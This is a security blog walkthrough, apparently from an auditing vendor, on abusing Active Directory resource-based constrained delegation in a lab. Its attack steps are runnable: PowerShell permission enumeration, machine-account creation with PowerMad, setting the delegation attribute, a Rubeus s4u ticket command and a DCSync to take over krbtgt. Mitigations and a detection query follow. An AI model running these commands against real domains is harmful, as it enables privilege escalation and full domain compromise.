Resource-Based Constrained Delegation Abuse

Resource-Based Constrained Delegation Abuse

Abusing RBCD and MachineAccountQuota

Delegation is an area that is confusing and complicated for most Active Directory administrators. Unconstrained delegation, constrained delegation, and even resource-based constrained delegation all play a role in not only your Active Directory infrastructure, but also its security posture. For example, unconstrained delegation is very insecure, and can be abused relatively easily. If you’re unfamiliar with the different types of delegation and how they work, I suggest reading harmj0ys Another Word on Delegation as he’s done a very good job explaining it and making it (somewhat) easy to understand. Resource-based constrained delegation, although more secure than the others, is still able to be abused and used as a means of lateral movement and even privilege escalation. I’ll be diving into the scenario where a user abuses the capability to create computer accounts in Active Directory and some poorly configured Active Directory permissions, to take over a target computer.

Setting the Stage

To start, I’d like to give a very quick ‘What is Resource-based Constrained Delegation”, but for a deeper dive, this Microsoft article goes into a lot of detail. Starting in Windows Server 2012, resource-based constrained delegation can be configured on the resource or a computer account itself. This is different from the other types of delegation, which are configured on the accounts accessing the resource. Resource-based delegation is controlled by the msDS-AllowedToActOnBehalfOfOtherIdentity attribute and it stores a security descriptor for the object that can access the resource. Why is this better than its predecessors? To pull directly from the aforementioned article:

By supporting constrained delegation across domains, services can be configured to use constrained delegation to authenticate to servers in other domains rather than using unconstrained delegation. This provides authentication support for across domain service solutions by using an existing Kerberos infrastructure without needing to trust front-end services to delegate to any service.

To abuse resource-based constrained delegation, one would have to populate the msDS-AllowedToActOnBehalfOfOtherIdentity attribute with a computer account that they have control over and know a SPN set on that object that they want to gain access to. Fortunately, with MachineAccountQuota by default allowing all users to create 10 computer accounts, this is easy to accomplish from a non-privileged account. The only privilege that an attacker would need, is the capability to write the attribute on the target computer due to some poorly configured Active Directory permissions. To accomplish this and show a quick proof of concept, I’ll use the following tools with the following scenario:

  1. I have a non-privileged account on a Windows 10 machine
  2. This account has access to write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on a domain controller (due to poorly configured Active Directory permissions)
  3. I create a new computer account using PowerMad (due to MachineAccountQuota)
  4. I set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute to contain a security descriptor with the computer account from step 3
  5. I leverage Rubeus to abuse resource-based constrained delegation

The Attack

So to start, let’s take a look at the account I have gained access to. My account SBPMLAB\nonadmin is just a regular domain user who has local administrator privileges on its local machine. I show in the screenshot below that I cannot UNC to the SBPMLAB-DC2 C$ admin share with my current privileges.

Non-Privileged Domain Account
Non-Privileged Domain Account

Through AD reconnaissance, I was able to discover that I have some permissions on a Domain Controller, which I’ve predetermined is my target. Using tools that will enumerate permissions and objects within Active Directory would allow an attacker to come to this conclusion eventually. I wrote some PowerShell that will identify anywhere a specific user SID has Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity on a targeted machine. PowerShell samples will be below.

Identified WriteProperty permissions for the msDS-AllowedToActOnBehalfOfOtherIdentity attribute
Identified WriteProperty Permissions for the msDS-AllowedToActOnBehalfOfOtherIdentity Attribute

Now that we know we have the capability to modify the attribute we would need to populate, we have to check that we can actually update that attribute with a computer account we control. Thanks to MachineAccountQuota, we should be able to create an account that we’ll have full access to. Once we confirm the MachineAccountQuota value, we can make a computer account using PowerMad and specify the machine’s password, so we’ll have the hash for it. We’ll use the hash in a later part of this process.

Checking the MachineAccountQuota Value and Creating a Computer Object with PowerMad
Checking the MachineAccountQuota Value and Creating a Computer Object with PowerMad

As you can see I created the account RBCDMachine with the password ‘ThisIsATest’. Now that we have our brand new computer account we can use, we need to populate the msDS-AllowedToActOnBehalfOfOtherIdentity for our targeted DC that we have permissions over.

SBPMLAB-DC2 msDS-AllowedToActOnBehalfOfOtherIdentity Attribute Value
SBPMLAB-DC2 msDS-AllowedToActOnBehalfOfOtherIdentity Attribute Value

Once that’s populated, we’ll just need to get the hash for our ‘ThisIsATest’ password for our RBCDMachine account and then we can use Rubeus to abuse this scenario.

Password Hash for the RBCDMachine Account
Password Hash for the RBCDMachine Account

So now we have everything we would need to utilize Rubeus to abuse resource-based constrained delegation. To recap what we’ve gathered so far:

  1. The RBCDMachine$ account that we created, which is populated in the target DC msDS-AllowedToActOnBehalfOfOtherIdentity attribute
  2. The hash for the RBCDMachine$ accounts password (0DE1580972A99A216CED8B058300033F)
  3. A user we want to impersonate, which you can gather through AD reconnaissance
  4. The servicePrincipalName that we want to get access to for the targeted domain controller

Using all of this information, we can craft the following command to run in Rubeus:

s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
Executing Rubeus to Exploit RBCD and Import the Ticket into Memory
Executing Rubeus to Exploit RBCD and Import the Ticket into Memory

Once the ticket is imported, we can confirm that it was imported successfully by using ‘klist’ and we can reattempt to navigate to the \\SBPMLAB-DC\C$ admin share.

Successful Attempt to Navigate to and List the Contents of the C$ Share
Successful Attempt to Navigate to and List the Contents of the C$ Share

So I was able to get to the C$ admin share on the Domain Controller, there are some things an attacker could do to persist or even elevate privileges further (e.g. compromising the NTDS.dit file). However, I could also request access to the ldap service by changing the msdsspn parameter in my Rubeus command and leverage that to do a DCSync attack and take over the krbtgt account.

Cached Ticket for LDAP Service
Cached Ticket for LDAP Service
Executing DCSync After Gaining Access to LDAP on the Target Domain Controller
Executing DCSync After Gaining Access to LDAP on the Target Domain Controller

To Review

So now that I’ve shown how the attack works, let’s do a quick recap on what occurred and then cover some things you can do to prevent this type of attack from occurring in your environment.

  1. I took over an account that had the capability to modify the ‘msDS-AllowedToActOnBehalfOfOtherIdentity’ attribute of a Domain Controller
  2. I created a computer account leveraging the MachineAccountQuota setting
  3. I populated the attribute with the machine account I created
  4. I used Rubeus to request a ticket to the LDAP service on the DC
  5. I was able to execute DCSync to take over the krbtgt account

So how can you prevent some of these things from occurring in your environment?

  1. Lockdown and understand Active Directory permissions within your environment. Knowing who has access to Active Directory is pertinent to securing it. Being able to modify a computer objects attribute is just one avenue that an attacker can use to exploit your environment. Having the capability to modify group membership or reset passwords of other users within an environment can be just as damaging and much easier to exploit with tools like BloodHound. Check out the StealthAUDIT Active Directory Permissions Analyzer to learn more about understanding the current state of your Active Directory permissions.
  2. Ensure that sensitive accounts that should not be delegated are marked as such. Putting a user into the Protected Users group or checking the option ‘Account is sensitive and cannot be delegated’ will stop this specific attack in its tracks. (I found out first hand when working on the POC without realizing my account had this option checked!)
  3. Monitor for computer accounts that were created using the MachineAccountQuota limit. This isn’t going to directly secure or prevent any type of attack, but being aware of what users(non-admins) are creating computers in your environment is something you may want to be aware of. Fortunately, there is an attribute ‘mS-DS-CreatorSID’ that gets populated when a non-admin user creates a computer account.
#Identify computers created by non-administrators (leveraging MachineAccountQuota)
Get-ADComputer -Properties ms-ds-CreatorSid -Filter {ms-ds-creatorsid -ne "$Null"} 

Code:

Identify permissions on a targeted computer ($target) for our owned account ($myaccount) that would allow this scenario to occur:

#Target Machine we want to check permissions on
$target = 'sbpmlab-dc2.sbpmlab.net'
$targetComputer = Get-ADComputer -Filter 'dnshostname -eq $target'
#SID of the account we have control over
$myaccount = Get-ADuser notadmin -Properties sid | select -ExpandProperty sid
 
#Identify schemaIDGUID of msDS-AllowedToActOnBehalfOfOtherIdentity
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
#Identify permissions our account has over a target computer
#Specifically Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity
Import-Module C:\Tools\PowerSploit\Recon\PowerView_dev.ps1
$permissions = Get-ObjectAcl $target | ?{$_.SecurityIdentifier -match $myaccount -and (($_.ObjectAceType -match $schemaIDGUID.Keys -and $_.ActiveDirectoryRights -like '*WriteProperty*') -or ($_.ActiveDirectoryRights -like '*GenericAll*' -or $_.ActiveDirectoryRights -like '*GenericWrite*' -or $_.ActiveDirectoryRights -like '*WriteDACL*')) }
$permissions 

Check MachineAccountQuota setting for the domain and create a computer account using PowerMad:

#Check MachineAccountQuotaValue
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'

#Use PowerMad to leverage MachineAccountQuota and make a new machine that we have control over
Import-Module C:\Tools\Powermad-master\Powermad.ps1
$password = ConvertTo-SecureString 'ThisIsAPassword' -AsPlainText -Force
New-MachineAccount -machineaccount RBCDMachine -Password $($password) 

Update the msDS-AllowedToActOnBehalfOfOtherIdentity attribute with the new computer we created:

#Set msDS-AllowedToActOnBehalfOfOtherIdentity with our new computer object
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDMachine$
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount 

Get the hash of the password we set for our computer account:

#Get hash of password we set
import-module C:\Tools\DSInternals\DSInternals\DSInternals.psd1
ConvertTo-NTHash $password

Rubeus command to execute the resource-based constrained delegation abuse:

C:\Tools\GhostPack\Rubeus\Rubeus\bin\debug\Rubeus.exe s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Start a Free StealthAUDIT® Trial!

No risk. No obligation.

Privacy Preference Center

      Necessary

      Advertising

      Analytics

      Other